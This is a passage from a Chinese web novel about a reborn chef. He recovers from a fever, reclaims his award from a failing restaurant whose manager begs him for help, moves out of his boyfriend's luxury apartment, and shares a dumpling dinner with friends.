姜父姜益生一直是个利益大于情感的人,可能孩子刚没那时候,有一点身为父亲的难过,但是和后续得到的补偿比起来,实在不算什么了。 亲情在陆家面前又算得上什么? 甚至,姜汀州继续了解下去,才发现姜柚的领养也不简单。 他并不是从福利院随意带回来的孩子,同样和陆家息息相关。 姜家失子大约半年后,陆家又出了一件事。陆夫人,也就是陆嘉和的母亲,姓秦,叫秦如霜,秦家和陆家是商业联姻,关系亲密,当时突然有个远房亲戚找上门来。 说是亲戚,血缘关系已经很淡了,实际上算是同村同姓,谁家都有几个穷亲戚,但来人多年前曾经对秦如霜有恩,间接救过她的命,如今是穷途末路,不得已求人来了。 就是这么巧,来人带了一个五岁半的男孩,和失踪的姜汀州一个年纪。 这孩子说是亲生父亲打架失手杀人,已经进去了,母亲吸、毒死了,他这唯一的爷爷重病缠身活不了多久,想求秦家收养这个孩子——姜柚就是这个孩子。 他当时看起来像是个烫手山芋,毕竟这样的混账父母养不出什么正常的孩子,他看起来脏兮兮的,反应有点迟钝,说话都说不清楚,哭也不敢大声哭,只会睁着眼睛流泪,像是痴呆一样,稍稍被惊吓到就突然下跪磕头,还会大声尖叫,大概是他那对混账父母留下的心理阴影。 秦家倒是愿意偿这份恩情,但是有钱人家不缺孩子,缺孩子的家庭也未必愿意养这样一看就有问题的孩子。 唯有在这半年吃到陆家天降大饼的姜益生听说之后,主动把孩子接过来了。 三年之后,姜柚就换了个样子,足以见得姜家对他的用心。 且因为以前的事情,秦如霜也对他多有关照,姜柚便也顺理成章地和同龄的陆嘉和成了玩伴。 这两个孩子,就这样让陆家成了姜家最大的靠山。 姜柚这个孩子来到姜家,并不意味着抵消姜汀州走失的亏欠,而是一来一回陆家就欠了两份人情,建立起了千丝万缕的联系。 所以一直以来,姜父心里其实很清楚,许多时候都是姜柚故意害他,但是他对此喜闻乐见——这么多年陆家已经给的足够多了,现在姜汀州还回来了,他生怕两边的联系断了,得找到新的关注点。 如果姜汀州显得顽劣、不可教化,更能再次凸显姜家的损失,显示出他曾经替陆嘉和挡灾后走失没有得到应得的培养,所以即使找到来也不成才,他顺带哭诉几声,姜家才能持续得到陆氏的补偿。 同样的道理,姜家把姜柚养得好,也是为陆家偿情,所以,也应该得到持续不断的补偿才是。 最好两个孩子对比再强烈一些,更能体现姜家的付出和失去。 只要陆家有一点恻隐之心,亦或就是为了圈子里的好名声随手给一点帮助,就足够姜氏吃很久了。 这许多事情,姜汀州也是花了很多时间才想明白。 在此之前,他真的怀疑过姜柚身上有什么“万人迷”光环,让家里人都对他晕头转向,连摆在眼前的事实都看不到。 但陆白屿的出现很好否定了这一点,自此给了他无限的希望和动力。 陆白屿一直都坚定地站在他这边,他对姜汀州有着十分明显的偏向,帮过他很多忙,包括他当时因为出手揍姜柚被退学,也是陆白屿牵线搭桥,为他找了王大师傅。 姜汀州记得自己拜完师之后,问过大师傅什么样才是最好的菜,立志要成为真正成功的佼佼者,而不是像姜益生那样是非不分只想着依赖别人的寄生虫吸血鬼。 他一定要靠自己,叫所有人看得起。 彼时陆白屿就在门口等他,见他走出来,朝他招了招手,叹道:“汀州,我是看你在家里呆不下去,换个地方给你换换心情,其实你要是想回学校,随时可以回去的,我给你换一所更好的高中。” 陆白屿比他高一个头,姜汀州要抬头看着他,他彼时坚定道:“我不会回去的。你再来见我的时候,我肯定换个样子。” 他心里还有更多话没有说出来。 眼前这个人就是他此生最远大的目标。但是两个人离得太远,姜汀州想着倘若成为一个行业的佼佼者,追着他的脚步,或许就能够配得上他一点了。 姜汀州的人生由此开始转折。 他对此义无反顾,不会后悔,现在早早断了这段感情,同样不后悔。 但现在的他,只想安心养病。 幸好这回就医早,不像上辈子一样在医院躺了一个礼拜,两天就已经好的差不多了,如今只是低烧,身上有了力气,喉咙不痛了。 医生来检查了说没有大问题,他今天下午就可以出院了。 姜汀州身体有力气能走动的时候,在出院之前,把有的没的身体检查都做了一遍,即使医生提醒他“只是发烧不用检查这么多指标”,他还是很坚持,并且要求安小屏也一起做,还做的是vip套餐,许多指标几个小时之后就出了结果。 他这突然惜命的行为倒确实检查出一些什么。 姜汀州胃不大好,是小时候走失吃苦的时候留下的一点毛病,因为长期熬夜,肝也有点小问题,还有点低血糖,但医生也说了不算什么大事,现在人身上多少都有点亚健康的情况。 他年轻,正是身强体壮的时候,这点小问题都用不着吃药,造不成什么影响。 安小屏也有点小毛病,医生说他有点轻微营养不良,但这完全不算病。 “我之前减肥,现在习惯少吃了,而且我还得拍照片上镜呢,再说了,我们学校食堂太难吃了,”安小屏满不在乎,“我回去买点营养补剂就行了。” “吃点营养补剂可以,但你们年轻人还是要注意养生,规律饮食,”医生告诉他们,“工作之余也要注意锻炼,多喝水,有的时候一些小毛病也容易拖成大毛病,觉得难受一定要休息,及时就医,不能硬撑,知道了吗?” 这些都是套话,医院里来一个工作繁重的年轻人大多都是这样的毛病,这两位还算是问题小的,医生说的大差不差,很多人听完就忘,也不大放在心上,但姜汀州很严肃。 他连连点头,仿佛一个小学生,道:“知道了。您说的特别对。身体是一切的本钱,我以前就是太不注重这方面了,以后我一定注意,劳逸结合,多休息。” 他一直身体不错,而且有健身习惯,很少生病,之前流感流行的时候后厨病倒一大片只能轮流休假,唯有姜汀州一个人怎么都感染不上,免疫力极强,一直稳定支撑着。 但像他这样的人,一生病往往就是大病。 比如五岁时那场发烧差点死了还忘记了所有事情,这次也是一发烧就一下冲到四十度,倘若不是及时到了医院都能落下病根,又比如三十二岁胜券在握的时候突然猝死,一下子什么都没了。 经验使然,姜汀州觉得自己的身体没有想象的那么抗造。 死过一次的他现在想清楚了,健康问题才是人应该考虑的第一重要的问题。 好消息是,他最近确实可以好好休息了。 因为宫宴老店在舆论和贵客的双重冲击之下,杨店长根本招架不住,已经不得不关店了。 10、第十章 姜汀州有宫宴的钥匙,他从侧门进去,一进去就觉得冷冷清清的。 他不是一个人回来的,身后还跟着安小屏和田荟,当然也绝对不是回来工作的,是来小休息间拿回自己的私人物品。 他身体大好,不像是上辈子一样烧出肺炎,如今已经出了院,像小休息室这种地方他是绝对不会再住了,自然要搬出去。 当时去医院的时候,姜汀州只拿了手机和钥匙,还有其他很多私人物品放在这里。 他又没做亏心事,自然光明正大地回来拿回自己的东西,但安小屏和田荟不放心,就跟着他一起回来了,也能帮他拿些东西。 三个人走到小休息间这里一路都没遇到什么人,姜汀州很快把自己想要拿走的东西收拾出来了,安小屏帮他打包,他又出去拿其他重要的物件了。 姜汀州之前拿到的奖杯还挂在大厅的展示柜,那个奖杯很特别,做成了一个漂亮的勺子形状,那也是自己的,当然也要一起带走。 但是他过去一看,没有看到奖牌,台子上面是空荡荡的。 姜汀州皱了皱眉头,又从大厅到后厨和办公室的区域走,但走了这半天都没有人,这可是周末,平时宫宴预定都是爆满的,现在却是冷冷清清的,直到走到后厨,才听到人声。 似乎整个店的所有人都在后厨了,塞得满满当当的,却不是在忙碌,有几个炉子开了火,其他人三三两两地坐在一边,像是在开会,杨店长在最前面来回踱步,应该是在打电话。 姜汀州一靠近,就听到他情绪激动地在和对面大吼。 “你知道我得罪了多少人吗?” “当时的水军公司是你找的,现在这种情况,你怎么能不管呢?什么叫你当时也不知道我居然要干这种事,姜柚,你这个时候想装傻吗?你怎么能这样不负责任!” 姜汀州一听就明白了,怪不得杨店长在热搜上找来这么多水军,原来是姜柚伸手帮的忙。 这不算出乎意料,这件事姜柚来插手实在是太正常了。 现在出了事,他倒是全身而退,不管杨店长和姜汀州哪边吃了大亏,都是宫宴老店内部的矛盾,矛盾越大越好,都对他百利而无一害。 现在想找他算账,更是门都没有,只能打落牙齿和血吞。 大家听着这电话声音都不敢出,直到看到姜汀州突然经过,才有人叫出声来。 “主厨,你回来啦!” 姜汀州头一次发现这群人对自己还有这么热情的时候。 副主厨是个性格软弱的墙头草,最先堆着笑迎了上来,硬是把他拉了进来,道:“这几天店里太乱了,就等着你回来主持大局呢,你回来也和我们说一声啊,我好去接您。” 副主厨这一嗓子,其他人也反应过来了,接连恭恭敬敬叫了“主厨”。 姜汀州全年无休,一直呆在这里,时间长了,就会让人忽略他有多重要。 这几天,先是客人对菜色不满,这还算是有办法堵住的问题,毕竟餐厅的基础菜还是可以做的,宫宴名声在外,就算做不了招牌菜还是有很多客人,但大批vip客人的投诉,就是很大的问题了,不得不闭店休整。 即使杨店长提出了各种各样的补偿举措,也没有能完全安抚这些客人的情绪。 大家从来都没有面临过这种情况。 以前部分客人有点不满意,都是姜汀州去处理的。 他会主动上去道歉,不管客人说什么都面带微笑,直到对方消气,又会做一些特别定制的菜,用各种方式给足客人面子,但现在投诉的人规模太大了,店里也没有其他人能做到姜汀州的出菜水平。 姜汀州甩开大堂经理的手,靠在门那里,抬了抬下巴,道:“汤锅那边火太大了,调小一些,要糊了。” 那边守着火的人赶忙调小了点,但姜汀州闻到那个味道,看了一眼,一皱眉头,知道还是不对。 炖汤的材料放的顺序不对,火候也不到位,已经毁了,老食客一喝就能喝出来,现在补救已经不可能了。 杨店长站在那里不说话,只是死死地盯着他,大堂经理也顺势迎了上来,道:“幸好你来了,汀州,厨房的事情还是你懂。以前的事情都是我们不好,但是宫宴是大家的心血,以后我们一定会补偿你的,现在你可不能袖手旁观啊。” 如今宫宴每停业一天都是巨大的损失,关系到大家每个月的工资和奖金,于是每个人的动作都如此热情,好像总算承认他是正儿八经的主厨。 但姜汀州不吃这一套,他抬起手示意他们别过来,道:“别误会,我可不是回来做菜的,我只是想拿回自己的东西。” “我赢回来的奖牌,我要带走,墙上的那些名人合影照片或是杂志报道截图,只要有我的,我都撤下来了。” 宫宴老店的那面金碧辉煌的荣誉展示墙最近几年的几乎都和姜汀州有关。 “你敢?!”杨店长一下子跳了起来,“这分明是店里的东西,能让你说带走就带走吗?” 姜汀州笑:“这可不是你说了算。” 节目是以个人名义参赛的,牌子上面还刻着他的名字,他随后又问:“我的勺子奖牌呢?藏到哪里去了,还给我。” 大堂经理一惊,又怕惹他生气,陪着笑道:“汀州,没必要吧,别把事情闹成这样,大家都一起工作好几年了,别因为一点小事闹成这样,凡事好商量嘛。” 他伸手扯着杨店长的袖子,警告他这个时候不要再和姜汀州顶着干,店里不少员工也七嘴八舌地劝他:“店长,你别和主厨这么说话,他今天刚出院,病才好呢,可不能再生气了。” “是啊,只要主厨高兴,其实这些都没什么,要不您先把奖牌给他。” “或是您给主厨道个歉,大家一笑解恩仇,还是老店的生意重要。” “医院的事情本来也是您的错,当时怎么能推主厨呢?” 明明当时是你们说着主厨不负责任说走就走,一定要店长出面给他一点颜色看看才行! 杨店长转过头瞪着他们,难以置信。 他在这里经营很久,全店上下都听他的,姜汀州再有本事也需要很长时间去处理这复杂的人际关系,但是事到如今,这些人居然站在姜汀州这边,甚至现在把所有事情归到自己身上。 他在大家的声讨气势越来越低,只能憋出一句话:“公司总部说有用,说要去做展示,我就先拿走了,这……” 姜汀州“哦”了一声,道:“所以,你想拿就拿,也没给我打个招呼?谁拿走的,谁同意的?公司总部,现在怎么没看到公司总部的人来帮忙呢?” 他说这种话,更是直插杨店长心窝。 出事以来,姜氏公司总部的人确实关心过,但更多的是层层的责骂,逼着他去解决问题。 他费尽心力,只能安抚一部分还能说的上话的熟客,但还有一些尊贵的客人,这些人比整个姜家加起来都有钱,哪怕是姜总也未必能在他们面前说上话。 他自以为自己人脉宽广,可真的遇到麻烦事的时候根本没有人愿意帮他,怪他都来不及,甚至姜柚,之前一口一个“杨叔叔”,可现在却只会躲。 真要他找一个负责任能扛事的人,悲哀的是,他想来想去,却只能想到姜汀州。 他张了张嘴,只觉得嗓子干涩,道:“你有解决的办法,是吗?你要你能够在这件事上有办法,我一定把奖牌拿回来给你。” 姜汀州觉得他莫名其妙:“你脑子坏了?那本来就是我的,我现在没跟你算账就不错了,你还敢要挟我?” “不是要挟……我的意思是,如果我和你真心道歉呢?”杨店长道,他颤抖着手擦着汗,看起来像一下老了十岁,“之前全是我的问题,全是的错,店不能再这样关下去了,这是我干了一辈子的心血。” “汀州,现在只有你了,对不起,希望你能谅解我,给老店一点活路。” 再这样下去,他就真的只能被辞退了,这还未必能平息得了客人们的怒火,老店以后也会受到很大影响。 杨店长看起来是真的走投无路,眼神越来越望,开口道歉也像是发自内心,但姜汀州同样很诚恳:“我并不觉得你的道歉值什么。” 这些话在此时说只觉得多余。 他话音刚落,杨店长咬着牙,腿下一软,当着众人的面,扑通一声就跪了下去。 “倘若这件事能解决,我保证,这个店里以后都听你的,唯你马首是瞻,”杨店长道,“汀州,明天就是董事会,总部要提这件事,我会过去的,你和姜柚明天会有个胜负,但你们的路还长,往后你总是用的上我。” “只要这次你能帮忙,我真的什么都愿意做的。” 提起姜柚,他恨得牙痒痒。 网络上请水军的价格太贵了,杨店长还出乎自己计划地两次掏腰包,已经快把自己的钱掏空了,倘若这次被公司追责和辞退,他便真的是一夜之间什么都没了。 店里的员工也是,这份工作关系着许多人的生计。 宫宴老店的工资和奖金是普通饭店的两三倍起,于是眼下一个个低头道歉,眼睛都望着姜汀州,仿佛他是什么救世主一样。 姜汀州却只想笑。 特别是想起上辈子,他更觉得非常好笑。 彼时都已经住院的姜汀州生怕店里不能正常经营,一边哑着嗓子一边通过电话来协调后厨的问题,在做不了招牌菜的情况下也稳住了那一个礼拜的客流,客人零投诉,生意蒸蒸日上。 但回来之后,后厨的诸位只觉得他多事管得宽,背后还说他捏着权力不放手,好像没了他店里就不行一样,没有半点认他的好。 老店这些人上到杨店长下到这些员工,都是一水的老油条,姜汀州空降而来,不知道为了稳固地位付出了多少努力,现在他撂挑子走了,什么都没管,这些人反倒听话了。 ——这难道不是一个天大的笑话吗? 此时此刻,安小屏和田荟也听着声音拎着包走了过来。 姜汀州收拾完之后说要去处理点小事,他们两个在小房间里把整理出来的东西塞进包里,随后便听到后厨那边喧闹,然后,就看到了这一幕。 一堆人挤在那里,当头的还跪在那里,就姜汀州稳稳当当站着。 “你们干什么?!”安小屏嗷一嗓子过去,“在这儿玩什么道德绑架呢?” 11、第十一章 安小屏这一句话倒是把姜汀州喊醒了。 是啊,何必摆出这幅样子? 他和老店这些人的恩怨,上辈子就已经解决了,这些倚老卖老的人通通被他辞退处理,该讨要的早就讨要回来了。 现在的一切本来就不是自己造成的,不过是有些人搬起石头砸自己的脚罢了。 “各位还是别给我说这些。杨金豪,明天董事会前,把我的奖牌还给我,其他的事情,你自己好自为之。” 姜汀州看杨店长一副要死过去的样子,觉得自己给他宽限到明天已经很仁慈了,朝安小屏和田荟招了招手:“行了,我们走吧。” 大堂经理带着人追出去,依旧没有把他留下,反倒被安小屏指着鼻子骂了一顿,最后悻悻而归。 他回来的时候看到展示墙那里明显空了一块,更觉心梗,到了后厨又闻到一股糊味,急忙叫道:“这汤都糊了,别煮了,快关了!” 堂食虽然关了,但有些客人有私人定制,定了固定的外送营养餐,这些单子还是得照常做,已经算是现在店里唯一的生意了。 可即使姜汀州过来提醒了火要小一些,但大家只想着眼前的事情,全都是一通乱,没人盯着汤,最终还是全毁了。 他闻着烧焦的味道,只能望向杨店长,问道:“店长,我们怎么办?” 杨店长想起来,但是仍然腿软,又没有人扶他,他起身起到一半,一下坐在地下,木着脸,像是把姜汀州说的话都反复琢磨了几遍,才开口道:“还有办法……等明天,明天董事会,他说了,会去参加的。” 这仿佛就是他的救命稻草,又重复念着:“他一定会去参加的。” 大堂经理有些犹疑:“但他会帮老店吧?会帮……我们吗?” 杨店长没有给出肯定答复,他仍在地上坐着,最后吐出一句:“姜汀州他从来不会不负责任的,他不会不管的。” 带着行李走出去的安小屏对此也有些疑问,他开口问道:“你明天要去姜氏开董事会吗?” 姜汀州回:“当然要去。” 安小屏有点失落。 他一直希望姜汀州赶紧离开姜家这个虎狼窝,现在总算看到点希望了,不过心里也清楚,这毕竟是姜汀州奋斗了好几年的平台,这么大一摊子事情,不是短时间能丢下的。 随后,他又听到姜汀州解释:“我就是想去拿回应该属于我的东西。” 田荟插了一句:“是那个奖牌吗?” “不是,那个我本来想今天就拿走的,”姜汀州道,“我和姜柚有个正式的赌约,除了那个副总的位置,还有个奖品,算是个添头,明天也会在董事会上给赢家。” 是姜家祖传的一个粉彩瓷碗,据说是皇帝御赐的东西,一直传到现在,保存完整,特别漂亮,姜柚一直想要,听说有几个尊贵的客人对这种古董特别感兴趣,但是只有这一只,在妈妈手里。 妈妈绝大部分时候还是想一碗水端平的,这样贵重的东西她不能就这样只给一个人,又拗不过姜柚撒娇,便拿出来做这次的奖品了,赢的人直接拿走,就不算是偏心了。 当时在立这个赌约的时候,姜柚就已经胜券在握。 公司里没有人觉得姜汀州会赢,倘若不是他参加节目出乎意料地夺冠带来了一波客人,姜柚几乎算是预定赢家。 以前姜汀州对这个漂亮的瓷碗倒也没有那么在乎,比起古董,他在乎副总的位置和话语权,最重要是,他一定要赢一回。 但是现在不一样了。 “那个碗很值钱的,叫什么,什么御用粉彩膳碗,”姜汀州回忆道,“以前家里有客人看过,我记得当场出了快四百万也没卖。” 按照他曾经参加的几场拍卖会经历来看,三百万确实差了一些,这东西保存十分完好,实际应该更贵。 安小屏瞳孔地震:“四百万!那应该去!” 但他又有点担心,道:“哥,你能赢吗?” 虽然不想承认,香蕴半岛生意挺好的,开在省会城市上英市,地段上就占了优势。他一个普通大学生都知道,和宫宴老店不相上下,所以最后一季度流水谁高谁低真的不好说。 姜汀州道:“理论上,是我赢了。” 安小屏一听这句话就嘿嘿傻笑,也没注意姜汀州说的那句“理论上”,刚巧这时候,三个人坐的计程车也到地方停下了,他也就没再接着问下去。 拿走了小休息室的私人物品,姜汀州还要去另一个地方收拾东西。 休息室那个地方实在太窄,自然不算是他长住的地方,只是加班应急而已。 二十二岁的姜汀州还没有自己的房子,姜家的房子有他的房间,但是对他来说和没有一样。 这个时候的姜汀州长住在陆白屿在永青的房子里,两个人没确定关系之前就住一起了,虽然陆白屿回来的次数两只手就数得过来。 确切的说,陆白屿那套房子本来就是为了方便他才买下来的。 这里环境很好,离宫宴老店也算近,但这个房子比前两个住处还尴尬。 他这两天打算先去安小屏家暂住,安家父母早就不在了,奶奶前两年也过世了,如今是独居,安小屏自然欢迎他。 三人一到这里,楼下西装革履的管家就迎了上来,似乎专门在等他,姜汀州只说了一句“我不用帮忙”就眼疾手快关了电梯。 到了楼层之后一开门,安小屏和田荟明显都震惊了一下。 这栋楼是永青知名的高端公寓,名叫“璀璨之星”,里面全是奢华大平层,价格吓死人,这一间的风格是十足的低调奢华又高端大气,细看每一件装饰品都散发着金钱的味道。 再往前,透过玻璃窗看到整个永青湖人民公园,再往前看就是cbd的高楼大厦,一眼便能揽尽一城的繁华。 细节也很到位,茶几和桌子上都摆了鲜花,房间里有淡淡的花香气。 姜汀州这两天住院没有回来,这花却是十分新鲜的,带着露水,像今天刚摘下来的。 姜汀州目不斜视一路走进了卧室,他的卧室显得简单一些,在衣帽间打包了一些衣服和生活用品,安小屏和田荟帮他放进包里,三个人一起效率快多了。 安小屏这边已经折完了衣服,就想去衣柜里帮忙拿,但是被姜汀州拦下了。 “别动那边的衣服,”他道,“那些就不拿走了。” 他最后收拾出来的衣服连衣帽间里的十分之一都没有,剩下的许多衣服完全是全新的,根本没穿过。 姜汀州打开抽屉,里面是一排又一排的手表,看一眼就知道全是不便宜的,他只拿了其中一只,便把柜子合上了。 田荟问:“这些都不要了吗?” 姜汀州道:“都不是我买的。” 既然不是他买的,便是这房子里住的另一个人买给他的了。 两个人手脚麻利,在知道情况之后虽然有些疑问,就没有去碰多余的东西,只是帮忙打包,但是还是不可避免地在姜汀州房间里看到一些有关于恋人的细节。 房子里有很多双人份的东西,光是房间墙上的架子上有很多照片,都是两个人在一起的照片,从学生时代到现在,看得出关系一直很好,谈恋爱是水到渠成的,并且不像是姜汀州单方面的事,因为照片墙里的很多角度看得出是陆白屿掌镜的。 除了没有对外公开,这段关系看起挺正常的,甚至可以说是令人羡慕的,完全想不明白为什么会在这个时候分手。 但姜汀州走得很坚决,看起来对这里没有半分留恋,三人拎着东西出门的时候,大厅的管家就等在那里,朝他鞠躬,微笑道:“姜少,是觉得房子哪里不舒服吗?我们一定改进。” 姜汀州:“没有。” 他伸手按了电梯。 管家亦步亦趋跟着他进了电梯,继续道:“姜少不喜欢这里也没关系,陆总在明珠花园的那套房子也是我们公司的物业,那里更僻静一些,适合您休养一段时间。那边的房间也已经收拾好了,门口的车也已经到位了,我送您过去。” 姜汀州:“不用。” 管家脸上仍然带着职业性的微笑,说道:“好的。不想住家里的话,永青的所有五星级酒店都给您预定了房间,您选一个喜欢的,到时候直接去前台办入住就行,都安排好了,会有专人接待您的。” 姜汀州:“真没必要。” 电梯到了楼下,甚至还有物业的其他人等在门口,拎着一个包装好的小盒子,像是个很精致的保温壶。 那管家还跟在他后面,继续道:“好的,只要您高兴就行,您刚出院,身体还没好全,这是刚炖好的营养品,祝您早日康复。” 这管家知道的倒不少,姜汀州看了那个盒子一眼,道:“我不爱喝燕窝。麻烦你,别挡着我。” 对方一直很礼貌,但显然从头到尾根本没有把姜汀州的话听进去。 姜汀州不坐管家派来的车,打了计程车,管家劝了几句,见他根本不听也没拦着,还给他拉了计程车车门,祝他一路顺风,服务态度从头到尾非常完美,临走前还说:“房子的保洁工作和每天的鲜花会照常提供的,已经预定tf的当季新款也会按时照常送到家里的。您随时可以回来,我们将以最好的状态服务您。” 姜汀州这个时候已经让计程车司机赶紧走了。 安小屏在收拾过程中数次欲言又止,在离开车上的时候终于忍不住说:“你真的要分手吗?我觉得,小陆总是个好人,其实他、他看起来……对你挺好的。” 他越说声音越小,内心是真的希望姜汀州过得好,而且,这可是陆白屿哎,所有知道他的人应该都说不出他什么不好来吧。 姜家虽然不是个东西,但是直到现在来看,小陆总可没什么能挑剔的。 田荟的脑子比安小屏好使一些,她敏感地察觉到了一个问题:“哥,你怎么知道那盒子里面是燕窝?” 那盒子严严实实,是不透明的,还做了保温措施,一点味道都没有飘出来。 姜汀州只是摆了摆手。 他没办法和两个人解释,因为他上辈子和陆白屿吵架,他闹着要搬出去,经历的大概也是这么一套流程。 这都不算是全部,只是一个开头而已。 陆家有这家物业的股份,只要陆白屿一句话,甚至只需要宋秘书一句话,他们就会把所有事情都安排好,并且已经形成一套流程了,要多精细有多精细。 这栋大厦是永青知名的奢华公寓,物业服务水平一直很高,也很会处理业主想要处理的麻烦问题,比如说,哄一些闹小脾气的金丝雀,好让真正的业主回来的时候少费一点心。 璀璨之星如此金碧辉煌,所有事情看起来都是完美无缺,像是一个营造出来的美梦幻境。 但姜汀州很清楚地认识到,这一切都不是属于自己的。 这间房子一直是陆白屿的,当时搬进来,是他可怜自己和姜家闹掰了无处可去才请他住了进来。 无论之后两个人谈不谈恋爱,这一点都不应该被忽视、掩盖,否则身在低位享受着不属于这些东西的自己,总有为此付出代价的时候。 12、第十二章 见姜汀州这样的神情,安小屏和田荟也不说话了。 此时,已经起步的计程车司机问了一句,打破了车里这平静:“你们是去老市场那边对吧?具体停哪儿啊?” 安小屏家在永青老市场附近,那边地方很大,姜汀州想了想,刚想开口说停观音山脚下那里就行,田荟就抢先回答他:“师傅,我们去老市场的面包厂那儿,就到面包厂门口停就行。” 姜汀州一愣,道:“等会儿,我们去面包厂那儿干什么?” 永青老市场是老城区的居民聚集区,许多人都住那里,算是知名城中村,面包厂和观音山脚下分别坐落在老市场的一东一西,中间大概有个三十分钟的脚程。 “那是我家呀,”田荟道,“我今天可是带着任务来,我妈说了,之前的事情要好好谢你,得请你们两个去家里吃饭。必须去啊,不去就是不给我面子!” 她说完之后还给安小屏使眼色。 他们一行人上午去了两个地方搬东西,偏偏这两个地方都叫人心情不大好,她寻思刚好吃顿饺子换个心情。 没有人吃了饺子能不开心的,如果一顿不行,就吃两顿! 安小屏在来之前就知道这安排,田阿姨给他通过气的,让他一定要把姜汀州请过来,这两天在医院两边也算是患难之交,于是他也跟着帮腔:“是啊是啊,人家都准备了,咱们不去多不好意思。” 姜汀州有点哭笑不得:“这多麻烦你,又让你帮忙发新闻拿东西,还让你请吃饭,本来应该我请才对,而且我还拿着行李,要做客至少得买点水果礼物什么的……” 安小屏道:“嘿嘿,我拿了。” 姜汀州疑惑:“拿了什么?” “噔噔噔!” 安小屏从外套的大口袋里掏出一个玻璃罐子:“我拿了这个!是你做的吧,我一眼就看得出来。” 他掏出来一罐腌好的腊八蒜。 姜汀州住那个小房间的架子上自然有他做菜的一些调料罐子或是样品,都被他整齐放在那里,这罐腊八蒜就是被他单独取出来的,罐子是密封好的,放在他的大口袋里也没有漏。 田荟直夸安小屏聪明伶俐,道:“特别合适特别好,那句话怎么说来着,吃饺子没蒜,香味少一半!” 安小屏嘿嘿傻笑,他那外套的大口袋和哆啦a梦的神奇口袋一样,不止腊八蒜,他还拿了一瓶玫瑰米醋,以及一瓶金色的看着就挺贵的酱油。 姜汀州:“你真是……” “我知道这个酱油贵,”他哼了一声,“我可不是偷的,他们店里平时都用不到这么好的,有些特别的材料还得自己买,问就是报销还得走流程,现在倒是知道卖惨道歉,以前就拿一些恶心人的小事磨人,你走了就可不能后悔,这些全都是你自己花钱的,我拿走怎么了?” 田荟附和:“对呀,拿走怎么了?要不是装不下,我全给拿了,一点也不能给黑心老板留下。” 这两个人一唱一和,计程车司机不知道发生了什么都觉得他们两个逗,哈哈笑着,姜汀州也忍不住笑,随着他们去。 计程车从环城路走,一开到老城区这里,车速一下就慢了下来。 这边的路有些窄,而且越靠近老市场,就有越多的运货小卡车和三轮车,横冲直撞跑来跑去,车子开一段停一段,耳朵里全是哔哔按喇叭的声音。 姜汀州对老市场这里的印象不算好。 他随着王屠夫这个养父租住在这里的时候,没有一天好日子,全都是忙碌和心酸。 眼前看起来还是他记忆里那个样子。 老市场包括了好几个小市场,比如说永青的菜市场、批发市场和许多摆小摊的,包罗万象,所以才有这么多小卡车,这一圈又有许多工厂,曾经是永青最繁华的地方,在这里工作定居的人很多。 老市场附近还有永清几所老牌中学,全市最好的永青二中也在这里,人就更多了。 计程车龟速爬行的时候,姜汀州看见了半个多小时前被车子甩在后面的骑自行车的学生了,那些穿着二中校服的几个中学生慢悠悠地超过了自己。 老城区的城建规划很混乱,乱七八糟的地块都挤在一起,这种占地面积大的工厂、市场和学校又没那么容易搬迁,和新城区对比强烈,也难免永青人嫌弃这边脏乱差,有点钱的人都搬离了,到新城区去住了。 最后一段路实在难走,三个人干脆下了车步行了一段,姜汀州便在路边买了水果和坚果礼盒当做礼物一起带去。 这地方虽然又吵又乱,但因为临近水果批发市场,水果又新鲜又便宜,甜香味隔着一条街都能闻见。 他拎着凤梨和甜瓜,凤梨是切好了装袋的,那水果香味就跟着一起走,然后田荟拐进了一条小巷子,走了几步之后,身后的喧闹便渐渐听不见了。 姜汀州也是这个时候觉得似乎有点不一样了。 之前在车上坐着的时候一直没有开窗,虽然出院了,但是还是有点低烧,不能吹风,现在才发现今天的永青天气挺好,是个大晴天,老面包厂的围墙里面还种了树,阳光透过树叶落下来,风一吹,还飘下一些细细碎碎的花瓣来。 田荟家在老面包厂旁边,路过的时候,姜汀州闻到淡淡的奶油甜味和一股烘烤的麦香味,卷在风里吹过来。 田阿姨已经在门口等他们了,站在那里就朝他们招手。 田荟家里是自建房,有个小院子,地方小但是收拾得很齐整,一边种了一丛又一丛的绣球花,另一边拿花盆种了点小葱、辣椒还有蔬菜,看着郁郁葱葱的。 “你们先坐,看会儿电视。”田阿姨道,“饭马上好了。” 姜汀州下意识就想去厨房帮忙,他平时从来没有干站着看别人干活的时候,但是很快被人推了出来。 厨房里是田阿姨的丈夫,一个看起来非常憨厚老实的男人,正在下饺子,他来医院给田阿姨送饭的时候就和姜汀州碰过面,见他就笑了一下,道:“哪有让贵客伸手的道理?快去坐,荟荟她那工作上的事情我们都帮不上忙,真得好好感谢你。” 田荟因为那一篇新闻顺利升职,田家自然都当他是大恩人。 随后姜汀州就被不由分说地推出了厨房,被安排在凳子上坐着休息,电视在放肥皂剧,田荟家的大胖橘被吵醒了,咪咪叫着从花丛里面钻出来,很自来熟,蹭着他的腿。 姜汀州有点不太习惯。 他很少有这么闲的时刻,前两天病的时候是没办法,大部分时间都在睡觉,现在清醒了,却只是摸一摸大胖猫,其他什么都不用他做,眼前的目标不过是吃一顿饺子这么简单。 他坐了小板凳上发了一会儿呆,站起来正准备给自己找点事,比如说收拾收拾桌子拿拿碗筷也行,然后田阿姨拿了果盘和茶水出来,放在他面前的小茶几上,又给他按了下去,招呼他先吃点水果和糕点。 除了有他带来的凤梨,果盘里有叠好的蜂蜜脆底小面包,散发着诱人的阵阵甜香。 姜汀州好久都没吃过这种面包了。 他一看就知道是永青老面包厂的手艺,住得近,连面包买到手都还是热乎的。老厂子就是舍得放料,脆底比一般小摊卖的要厚一些,面包上面软香,下面酥脆,芝麻香混合着糖粒。 一口咬下去,耳朵都能听到脆皮碎掉的声音,嚼在嘴里,面包柔软又劲道,还是当年那个风靡永青的味道。 小时候养父不会花钱给他买这种东西,邻居看他可怜才偶尔分一个,姜汀州彼时的愿景,就是长大以后天天吃蜂蜜脆底小面包,他都不敢想象自己得有多成功。 现在自然和小时候不一样了,但小面包没有变,还是那样脆脆甜甜,香味十足,倒是让他心情好了不少。 “来,开饭了!” 他刚刚吃完这个小面包之后,随着田阿姨的一嗓子,热腾腾的饺子就端上来了,她笑着道:“我们家老头别的不说,饺子做的不错的,左邻右舍都夸过的,你快尝尝。” 饺子刚出锅正热,一上桌香气就扑了上来。一看就是手擀的皮,亲手一个个包的饺子,田家还炒了三个热菜,拌了一个凉菜,饺子分了四种馅料,素三鲜、西葫芦鸡蛋,那边是胡萝卜羊肉,还有酸菜猪肉,饺子和菜一样都是两荤两素,陆陆续续上来,满满摆了一桌。 姜汀州前两天吃的都是清淡的,今天身体大好,总算能吃点正经东西,这对他来说已经很丰盛了。 